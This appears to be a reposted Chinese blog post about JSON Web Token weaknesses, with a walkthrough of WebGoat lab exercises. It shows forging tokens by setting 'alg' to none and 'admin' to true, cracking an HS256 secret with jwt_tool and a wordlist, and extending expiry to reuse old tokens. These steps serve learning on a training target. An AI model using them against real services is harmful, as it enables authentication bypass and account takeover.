JWT漏洞學習


JWT漏洞學習

什么是JWT?

JWT是JSON Web Token的縮寫,它是一串帶有聲明信息的字符串,由服務端使用加密算法對信息簽名,以保證其完整性和不可偽造性。Token里可以包含所有必要的信息,這樣服務端就無需保存任何關於用戶或會話的信息了。JWT可用於身份認證,會話狀態維持以及信息交換等任務。

JSON Web令牌結構是什么?

JWT由三部分構成,分別稱為header,payload和signature,各部分用“.”相連構成一個完整的Token,形如xxxxx.yyyyy.zzzzz

下面一張圖明確顯示了該結構:

jwt令牌

令牌是base64編碼的,由三部分組成header.claims.signature。該令牌的解碼版本為:

{
  "alg":"HS256",
  "typ":"JWT"
}
.
{
  "exp": 1416471934,
  "user_name": "user",
  "scope": [
    "read",
    "write"
  ],
  "authorities": [
    "ROLE_ADMIN",
    "ROLE_USER"
  ],
  "jti": "9bc92a44-0b1a-4c5e-be70-da52075b9a84",
  "client_id": "my-client-with-secret"
}
.
qxNjYSPIKSURZEMqLQQPw1Zdk6Le2FdGHRYZG7SQnNk

令牌數據解碼

由於Header和Payload部分是使用可逆base64方法編碼的,因此任何能夠看到令牌的人都可以讀取數據。
要讀取內容,您只需要將每個部分傳遞給base64解碼函數,以下是一些示例:

Linux base64工具(帶有-d標志用於解碼):

$ echo eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 | base64 -d
 {"typ":"JWT","alg":"HS256"}

瀏覽器JavaScript控制台:

>> atob("eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9")
 "{"typ":"JWT","alg":"HS256"}"

Powershell:

PS C:\> [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64Strin
g("eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9"))
{"typ":"JWT","alg":"HS256"}

Pyhton:

>>> import base64
>>> print(base64.b64decode('eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9'))
{"typ":"JWT","alg":"HS256"}

靶場練習

靶場下載

實驗使用靶場:WEBGOAT

https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M17/webgoat-server-8.0.0.M17.jar

如何運行:

java -jar webgoat-server-8.0.0.M17.jar

訪問http://localhost:8080/WebGoat/即可。

特征識別

首先我們需要識別應用程序正在使用JWT,最簡單的方法是在代理工具的歷史記錄中搜索JWT正則表達式:

[= ]ey[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*         -網址安全的JWT版本
[= ]ey[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*   -所有JWT版本(可能誤報)

以burpsuite舉例,在Proxy-HTTP history-File by search term中填入上訴正則表達式,切記勾選“區分大小寫”和“正則表達式”選項:

靶場實驗

Page4

GET /WebGoat/JWT/votings HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://localhost:8080/WebGoat/start.mvc
Cookie: access_token=eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE2MDYzNTgwNzAsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.uuxUOl2GoZaVEY8TsKJte0adKMGVd5Eywu3ys-nNIetgg0vfPLC68mMoat-Pp9z20it0AzFfEEEy2YgIZXJKEg; JSESSIONID=6C55033D91301896A8FAB9BA824DDDDC
X-Forwarded-For: 127.0.0.1

token:

eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE2MDYzNTgwNzAsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.uuxUOl2GoZaVEY8TsKJte0adKMGVd5Eywu3ys-nNIetgg0vfPLC68mMoat-Pp9z20it0AzFfEEEy2YgIZXJKEg

解碼:

Headers = {
  "alg": "HS512"
}

Payload = {
  "iat": 1606358070,
  "admin": "false",
  "user": "Tom"
}

Signature = "uuxUOl2GoZaVEY8TsKJte0adKMGVd5Eywu3ys-nNIetgg0vfPLC68mMoat-Pp9z20it0AzFfEEEy2YgIZXJKEg"

使用JWT_TOOL進行漏洞檢測

顯示存在"alg":"none"

更改Headers 中"alg"為none,Payload中"admin"為true.

注:https://jwt.io/ 該平台不能把alg更改為none,有些師傅使用該平台得到token也是神了,可以使用burpsuite中的Decoder模塊,麻煩模仿別人博客的師傅自己實驗一下好吧。

Page5

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQuY29tIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.m-jSyfYEsVzD3CBI6N39wZ7AcdKdp_GiO7F_Ym12u-0

base64解碼后的令牌

{
"typ":"JWT",
"alg":"HS256"
}
.
{
"iss":"WebGoat Token Builder",
"iat":1524210904,
"exp":1618905304,
"aud":"webgoat.org",
"sub":"tom@webgoat.com",
"username":"Tom",
"Email":"tom@webgoat.com",
"Role":[
"Manager",
"Project Administrator"]
}
.
m-jSyfYEsVzD3CBI6N39wZ7AcdKdp_GiO7F_Ym12u-0

使用JWT_TOOL跑密鑰。

python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQuY29tIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.m-jSyfYEsVzD3CBI6N39wZ7AcdKdp_GiO7F_Ym12u-0 -C -d 20k.txt 

然后更改Payload中“username”為WebGoat,使用破解的密鑰victory生成新的token。

Page7

從題目大意來講是以Tom的身份來購買這些物品,查看他給出的鏈接:http://localhost:8080/WebGoat/images/logs.txt 里面有一串token

eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q

解碼:

考慮到題目給出的是令牌刷新,所以這因為是令牌過期的問題,直接查看"iat"和"exp"

使用python查看當前時間

>python3
>import time;
>time.time();

修改完exp之后把"admin"改為true,"alg"改為none,可以使用burpsuite的JOSEPH插件進行改編碼

請求包添加“Authorization” 字段,然后把token加入即可。

Page8

請求包如下:

token:

eyJ0eXAiOiJKV1QiLCJraWQiOiJ3ZWJnb2F0X2tleSIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiSmVycnkiLCJFbWFpbCI6ImplcnJ5QHdlYmdvYXQuY29tIiwiUm9sZSI6WyJDYXQiXX0.CgZ27DzgVW8gzc0n6izOU638uUCi6UhiOJKYzoEZGE8

解碼:

常規思路是把"alg"改為none,username改為Tom.

另外一種應該是使用"kid"進行注入。(沒試驗過)

相關資料

https://www.cnblogs.com/yh-ma/p/10271720.html

https://www.cnblogs.com/xiaozi/p/12031111.html

https://www.cnblogs.com/xiaozi/p/12005929.html

https://emtunc.org/blog/11/2017/jwt-refresh-token-manipulation/

https://www.freebuf.com/vuls/211842.html

https://jwt.io/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM